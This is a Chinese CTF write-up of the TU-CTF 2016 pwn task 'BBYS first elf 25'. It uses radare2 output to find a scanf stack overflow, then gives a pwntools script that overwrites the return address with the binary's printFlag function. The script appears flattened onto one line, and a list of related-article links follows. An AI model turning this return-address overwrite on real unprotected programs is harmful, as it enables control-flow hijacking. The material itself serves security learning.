题目简介

太水了没啥好简介的,radare2打开(我用的linux,闲win虚拟机太麻烦一般懒得用ida)

[0x080485c9]> iI
havecode true
pic      false
canary   false
nx       true
crypto   false
va       true
intrp    /lib/ld-linux.so.2
bintype  elf
class    ELF32
lang     c
arch     x86
bits     32
machine  Intel 80386
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped false
static   false
linenum  true
lsyms    true
relocs   true
rpath    NONE
binsz    7591

然后查看main函数,发现就是一个输入一个输出,输入使用了scanf,输入的是一个字符串,漏洞很明显。。。栈溢出

[0x080485c9]> s main
[0x080485c9]> pdf;-- main:
/ (fcn) sym.main 60
|   sym.main ();
|           ; var int local_4h @ esp+0x4
|           ; var int local_14h @ esp+0x14
|           ; JMP XREF from 0x08048487 (entry0)
|           ; DATA XREF from 0x08048487 (entry0)
|           0x080485c9 01:002b      55             push ebp
|           0x080485ca 01:002c      89e5           mov ebp, esp
|           0x080485cc 01:002d      83e4f0         and esp, 0xfffffff0
|           0x080485cf 01:002e      83ec20         sub esp, 0x20
|           0x080485d2 01:002f      c70424ac8604.  mov dword [esp], str.This_program_is_hungry._You_should_feed_it. ; [0x80486ac:4]=0x73696854 LEA str.This_program_is_hungry._You_should_feed_it. ; "This program is hungry. You should feed it." @ 0x80486ac ; const char * s
|           0x080485d9 00:0000      e842feffff     call sym.imp.puts  ; int puts(const char *s);
|           0x080485de 01:0030      8d442414       lea eax, dword [esp + local_14h] ; 0x14
|           0x080485e2 01:0031      89442404       mov dword [esp + local_4h], eax
|           0x080485e6 01:0032      c70424d88604.  mov dword [esp], 0x80486d8 ; [0x80486d8:4]=0x44007325 ; const char * format
|           0x080485ed 00:0000      e86efeffff     call sym.imp.__isoc99_scanf; int scanf(const char *format);
|           0x080485f2 01:0033      c70424db8604.  mov dword [esp], str.Do_you_feel_the_flow_ ; [0x80486db:4]=0x79206f44 LEA str.Do_you_feel_the_flow_ ; "Do you feel the flow?" @ 0x80486db ; const char * s
|           0x080485f9 00:0000      e822feffff     call sym.imp.puts  ; int puts(const char *s);
|           0x080485fe 01:0034      b800000000     mov eax, 0
|           0x08048603 01:0035      c9             leave
\           0x08048604 00:0000      c3             ret

题目分析

那么怎么利用呢? 刚开始想开启了NX,以为需要rop,可是25分啊,rop是不是太费神了一点,于是留个心眼,AFL一下

[0x080485c9]> afl
0x080483b4    3 35           sym._init
0x080483f0    1 6            sym.imp.fflush
0x08048400    1 6            sym.imp.fgets
0x08048410    1 6            sym.imp.fclose
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            loc.imp.__gmon_start__
0x08048440    1 6            sym.imp.__libc_start_main
0x08048450    1 6            sym.imp.fopen
0x08048460    1 6            sym.imp.__isoc99_scanf
0x08048470    1 33   -> 95   entry0
0x080484a0    1 4            sym.__x86.get_pc_thunk.bx
0x080484b0    4 42           sym.deregister_tm_clones
0x080484e0    4 55           sym.register_tm_clones
0x08048520    3 30           sym.__do_global_dtors_aux
0x08048540    4 45   -> 44   sym.frame_dummy
0x0804856d    1 92           sym.printFlag
0x080485c9    1 60           sym.main
0x08048610    4 97           sym.__libc_csu_init
0x08048680    1 2            sym.__libc_csu_fini
0x08048684    1 20           sym._fini

好吧,如此明显的printFlag,因为没有canary,溢出之后返回地址指向printFlag即可。。

exp

from pwn import *def pwn():r = process("./3d726802521a9ce2b24e2c3baf039915e48ad056")payload = 'a' * 24 + '\x6d\x85\x04\x08'r.sendline(payload)print(r.recv())if __name__ == "__main__":pwn()

CTF练习-TU-CTF-2016 pwn BBYS-first-elf-25 记录相关推荐

  1. CSAW CTF 2016 PWN quals-warmup

    CSAW CTF 2016 PWN quals-warmup 原文链接 先对文件有个大致的了解,是64位ELF文件 ☁ csaw ctf 2016 quals-warmup ls exp.py fla ...

  2. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  3. php upload ctf,强网杯CTF防御赛ez_upload Writeup

    这是强网杯拟态防御线下赛遇到的web题目,本来是不打算分享Writeup的,但是由于问的人很多,于是这里分享给大家. ez_upload这题算是非常经典的堆叠black trick的题目,算是比较典型 ...

  4. ctf的php,CTF中常见的PHP漏洞

    1.MD5()漏洞 php在处理字符串时会利用!=,||,==进行hash值的比较 他把每一个"0E'开头的哈希值都解释为0,因此如果两个不同的密码经过hash处理之后都是以'0e'开头,那 ...

  5. [CTF]2022美团CTF WEB WP

    最终排名 easypickle 源码 import base64 import pickle from flask import Flask, session import os import ran ...

  6. 【CTF】梦之光芒/Monyer的游戏闯关记录

    eGl的梦之光芒Game1解题记录 刚接触安全的时候偶然间发现了这个小游戏,当时凭自己一点点的基础知识闯过了4.5关这样子,然后就一头雾水了.这个游戏也一直躺在我的收藏夹里.不想前几天偶然打开发现和c ...

  7. CG CTF 南邮CTF SQL注入2

    SQL注入2 分析源码 <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' ...

  8. 什么是CTF?打CTF的意义是什么?(附网络安全入门教程)

    什么是CTF? CTF在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.它起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式.发展至今 ...

  9. html ctf查找,Web CTF 解题思路总结—南京邮电大学攻防平台writeup

    1.直接查看源代码 例:签到题(50) 2.PHP的特性 (1)MD5 碰撞 例:md5 collision(50) md5碰撞:MD5摘要算法可以从多个字节组成的串中计算出由32个字节构成的&quo ...

  10. 搜狗2016年校招笔试编程题记录+总结

    不同的职位题目应该不一样,我遇到的2道题,其一是搜狗问答中的作弊判断,其二是矩阵计算. 1. 搜狗问答作弊判断 简单来说,就是存在作弊刷积分的情况,所以需要判断哪些人作弊,判断遵循下面2个原则: (A ...

最新文章

  1. 算法分析之-渐进记号
  2. 【Github上有趣的项目】基于RNN文本生成器,自动生成莎士比亚的剧本或者shell代码(不是python的是lua的)
  3. 远期合约(Forwards/Forward Contract )
  4. mysql启动redis_docker一系列mysql,redis,centos啥的启动参数记个笔记
  5. qt与JAVA服务器通信_Qt实现的SSL通信客户端和服务器
  6. pycharm中安装三方库和cmd下载三方库的选择与区别
  7. 基于Java Web的网络考试系统
  8. java认证,ocjp认证,jdk1.8,全流程介绍
  9. 自媒体爆文神器——必备爆文写作工具
  10. msxml3.dll 错误 '80072efd' ---asp 网站报错
  11. 2022-2028全球及中国云端税务软件行业研究及十四五规划分析报告
  12. mysql constraint primary key_SQL PRIMARY KEY 约束
  13. 2021年中国医药CDMO重点企业对比(药明康德VS凯莱英VS博腾股份VS九洲药业)[图]
  14. Hibernate自动建表
  15. cocos2d - JS 物理引擎 - chipmunk
  16. SQLalchemy 转载学习(学习了中间relationship内部cascade参数的部分)
  17. C++判断点是否在圆上
  18. 使用moviepy.editor剪辑视频,批量截取视频片段
  19. clamp.js用法初窥
  20. 毕业设计 STM32自动泊车系统 - 智能小车 自动停车

热门文章

  1. 阿里云服务器CPU Intel Xeon Platinum 8269CY和8163处理器区别
  2. html中斜体样式怎么写,css font-style字体斜体样式
  3. 给你一个全新的软件,你就是负责人,你怎么去开展工作
  4. 入行数据分析要知道数据挖掘到底是做什么的
  5. 高防服务器防御中“清洗”是什么意思
  6. *7-2 CCF 2015-09-2 日期计算
  7. 更新vetur和vscode版本后,vetur失效,代码全白
  8. 这里有一个url=https://www/.baidu.com/s?id=111name=yourname,写一个函数获取query的参数和值存放在一个对象...
  9. 有符号数和无符号数的范围
  10. t460 拆解_ThinkPad T460s开箱及更换内存和硬盘